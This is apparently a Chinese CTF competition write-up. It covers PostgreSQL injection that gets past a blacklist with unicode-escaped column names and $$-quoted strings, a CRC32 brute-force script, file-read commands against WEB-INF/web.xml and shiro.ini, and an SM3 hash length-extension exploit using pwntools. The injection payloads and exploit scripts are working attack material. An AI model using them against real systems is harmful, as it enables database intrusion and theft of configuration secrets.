数字安全比赛

fake_php_authentication

爆破脚本读:

训练gpt:


import binascii  
import string  
from itertools import product  
​  
known_crc32 = 0xb4a5bb5a  
​  
​  
characters = string.ascii_letters + string.digits + string.punctuation  
​  
combinations = [''.join(chars) for chars in product(characters, repeat=4)]  
​  
for combination in combinations:  
    data = f"{combination}-/flag".encode('utf-8')  
    crc32_value = binascii.crc32(data) & 0xffffffff  
​  
    if crc32_value == known_crc32:  
        print(f"找到匹配的字符串:{combination}-/flag")  
        break
        

<?php  
error_reporting(0);  
include("./config.php");  
​  
$db_connection = pg_connect("host=$host dbname=$dbname user=$user password=$pass");  
​  
//if (!$db_connection) {  
//    die("Connection failed");  
//}  
​  
$secret = $_GET['secret'];  
$column = $_GET['column'];  
​  
$blacklist  = ";|\'| |-|\/|#|\.|>|<|~|!|\*|%|0x|\^";  
​  
​  
if(preg_match('/[a-z]{2,}/i',$column) && preg_match('/[a-z]{2,}/i',$secret)) {  
    die("nonono!");  
}  
​  
if (preg_match("/$blacklist/i", $secret) || preg_match("/$blacklist/i", $column)) {  
    die("hack!");  
}  
​  
$query = "select " . $column . " from funnyctf where name = " . $secret ;  
$result = pg_query($db_connection, $query);  
​  
//if ($result === false) {  
//   $error_message = pg_last_error($db_connection);  
//   echo "Error executing query: $error_message";  
//}  
​  
if($result) {  
    while($row = pg_fetch_array($result)){  
        if($row['name']=="flag"){  
            echo $row['flag'];  
        } else {  
            echo "<h4>try again!</h4>";  
        }  
    }  
} else{  
    echo "<h4>Try to find flag!</h4><br>";  
}  
​  
?>

参考:

https://spyclub.tech/2020/08/02/inctf2020-gosqlv3-challenge-writeup/


/adminS3cr3t.php?secret=$$f$$||$$l$$||$$a$$||$$g$$&column=U%26"\0066\006c\0061\0067",U%26"\006e\0061\006d\0065"

"flag","name"

image-20240428153358286

GoSQLv3学习

这项挑战基于PostgreSQL注入,该注入以(非常噩梦的)黑名单为条件,其后是SSRF,允许我们向数据库引擎发出Gopher请求。

关于column

据我所知,在PostgreSQL查询中有两种方式申明列名,第一种是使用大家公认的方法(列名没有被双引号包裹),而另一种是PostgresSQL独有的(列名被双引号包裹)
没有双引号示例如下:

testdb=# SELECT testcolumn;
ERROR:  column "testcolumn" does not exist

有双引号示例如下:

testdb=# SELECT "testcolumn";
ERROR:  column "testcolumn" does not exist

在线转换UTF编码:https://www.branah.com/unicode-converter

以下细节是关键,因为我们将把列名定义为UTF-16编码。根据PostgreSQL的官方文档有如下语法

运行下面这个:

testdb=# SELECT U&'\0074\0065\0073\0074';
 ?column?
----------
 test
(1 row)`

因此,如果一切正常,为什么数据库返回一个字符串而不是列名?这就是为什么双引号这个“东西”是关键的原因。

testdb=# SELECT U&\0074\0065\0073\0074;
invalid command \0074

testdb=# SELECT U&'\0074\0065\0073\0074';
 ?column?
----------
 test
(1 row)

testdb=# SELECT U&"\0074\0065\0073\0074";
ERROR:  column "test" does not exist

最好的总结就是:在SELECT语句后面,没有双引号包裹或者有被双引号包裹的字符串代表列名,而被单引号包裹的字符串总是代表字符串。
有了上述信息,我们可以创建第一部分的查询语句:

testdb=# SELECT U&"\0075\0073\0065\0072\006e\0061\006d\0065",U&"\0067\006f\005f\0074\006f";
ERROR:  column "username" does not exist

但这并没有多大用处,因为我们没有足够的信息来验证我们的payload会成功,因此让我们创建一个简单的表并包含那个列。

testdb=# CREATE TABLE inctf2020 (id int, username text, go_to text);
CREATE TABLE

因为我们知道数据库中一个存在的值,最好也插入这个值

testdb=# INSERT INTO inctf2020 VALUES (1, 'admin', 'secret_place');
INSERT 0 1

testdb=# SELECT * FROM inctf2020;
 id | username |    go_to
----+----------+--------------
  1 | admin    | secret_place
(1 row)

现在我们继续测试payload

testdb=# SELECT U&"\0075\0073\0065\0072\006e\0061\006d\0065",U&"\0067\006f\005f\0074\006f" FROM inctf2020;
 username |    go_to
----------+--------------
 admin    | secret_place
(1 row)

成功了,我们成功的从指定的UTF-16编码的列名中查询到了所有的东西。
不幸的是,由于这是我在参加AWAE之前研究的字符限制绕过技术之一,因此我很快就完成了注入的这一部分,因此这里没有多余的技巧/尝试。
上述是在声明列名column

name

因为在目标列名的查询中返回了'admin',因此这个阶段的目标是'写admin', 看起来就像手写’admin'一样容易,但是恶魔般的黑名单又出现了。

$blacklist  = "adm|min|\'|...

这是在检查字符串是否包含' adm ',' min '和'。由于我们在这里没有太多选择,所以我通常参考String函数文档,并开始寻找可以帮助我们构建这样的字符串的方法。

双$字符串

在寻找函数连接'admin'之前,我们需要找到一种方法不带单引号来声明字符串。应该很容易,不是吗?

testdb=# SELECT U&"\0075\0073\0065\0072\006e\0061\006d\0065",U&"\0067\006f\005f\0074\006f" FROM inctf2020 WHERE username = "admin";
ERROR:  column "admin" does not exist

testdb=# SELECT U&"\0075\0073\0065\0072\006e\0061\006d\0065",U&"\0067\006f\005f\0074\006f" FROM inctf2020 WHERE username = admin;
ERROR:  column "admin" does not exist

正如我们之前所看到的,声明字符串的唯一方法是用单引号包围它们。那么我们该如何声明呢?显然,根据Postgres文档,可以使用双美元符号 ($)将字符串括起来.

testdb=# SELECT 'test';
 ?column?
----------
 test
(1 row)

testdb=# SELECT $$test$$;
 ?column?
----------
 test
(1 row)

因此,我们现在准备找到一个函数来连接字符串' admin '。

LPAD功能

通过此功能,我们可以按字面意思“ 使用指定的字符来填充字符串至长度等于length。如果字符串已经长于length,那么它将被截断(在右侧)。”

testdb=# SELECT LPAD('world', 10, 'hello');
    lpad
------------
 helloworld
(1 row)

这就是我们连接“ admin ”的每个字符所需要的一切。(并不严格要求连接每个字符,但最好进行练习,以防我们再次需要它)

这就是我们最终得到的:

testdb=# SELECT LPAD('n', 5, LPAD('i', 4, LPAD('m', 3, LPAD('d', 2, LPAD('a',1,'')))));
-------
 admin
(1 row)

好了!现在查询将返回我们想要的内容。

'||' 字符连接

但是,在Postgres中是否没有另一种(更容易的)串联字符串的方法?是的(戳这里)。但是,我们将再次使用之前的一种技术。

$ python3 -c 'print("||".join("$$"+i+"$$" for i in "admin"))'

$$a$$||$$d$$||$$m$$||$$i$$||$$n$$
testdb=# SELECT $$a$$||$$d$$||$$m$$||$$i$$||$$n$$;
 ?column?
----------
 admin
(1 row)

获取secret的位置

让我们提交查询以获取下一个阶段的URL。

$ curl -I 'http://MIRROR/?column=U&"\0075\0073\0065\0072\006e\0061\006d\0065",U&"\0067\006f\005f\0074\006f"&name=$$a$$||$$d$$||$$m$$||$$i$$||$$n$$'

HTTP/1.1 200 OK
Date: Sun, 02 Aug 2020 18:11:43 GMT
Server: Apache/2.4.18 (Ubuntu)
Content-Type: text/html; charset=UTF-8

嗯,看来我们缺少了某些东西……或者实际上没有。后端采用了两个以上的$_GET参数,因为&符号没有经过URL编码,将代表新的GET参数,对&进行URL编码如下。
& -> (URL 编码) -> %26

$ curl -I 'http://MIRROR/?column=U%26"\0075\0073\0065\0072\006e\0061\006d\0065",U%26"\0067\006f\005f\0074\006f"&name=$$a$$||$$d$$||$$m$$||$$i$$||$$n$$'

HTTP/1.1 302 Found
Date: Sun, 02 Aug 2020 18:14:03 GMT
Server: Apache/2.4.18 (Ubuntu)
Location: ./feel_the_gosql_series.php
Content-Type: text/html; charset=UTF-8

好了!我们要跟随的连链接是feel_the_gosql_series.php。

AA8


python2 p.py 47.93.142.240 -p 40729 -f /account/login.jsp
python2 p.py 47.93.142.240 -p 40729 -f WEB-INF/web.xml
python2 p.py 47.93.142.240 -p 40729 -f WEB-INF/shiro.ini

hash_append

参考:

https://blog.csdn.net/qq_53099119/article/details/131099945

国密:


from pwn import *  
from gmssl import sm3  
​  
io = remote('47.93.140.10','12365')  
​  
io.recvuntil('MySecretInfo Hash: ')  
B = [  
    [],  
    [],  
    [128, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 4, 0]  
]  
​  
data = io.recvline()[:-1]  
​  
hash_list = [ int(data[i:i+8],16) for i in range(0,len(data),8)]  
​  
V = [[], [], hash_list]  
​  
for i in range(2, 3):  
        V.append(sm3.sm3_cf(V[i], B[i]))  
y = V[i+1]  
result = ""  
for i in y:  
    result = '%s%08x' % (result, i)  
​  
text = bytes([128, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 2, 0]).hex()  
io.recvuntil(': ')  
io.sendline(text)  
io.recvuntil(': ')  
io.sendline(result)  
​  
io.interactive()
image-20240428153329076

签到

一把suoha

image-20240428153447244

Wireshark2.1

Wireshark2.2

Wireshark2.3

Wireshark2.4

这四题一个包里面就能全部解出来

image-20240428154622849
image-20240428154633047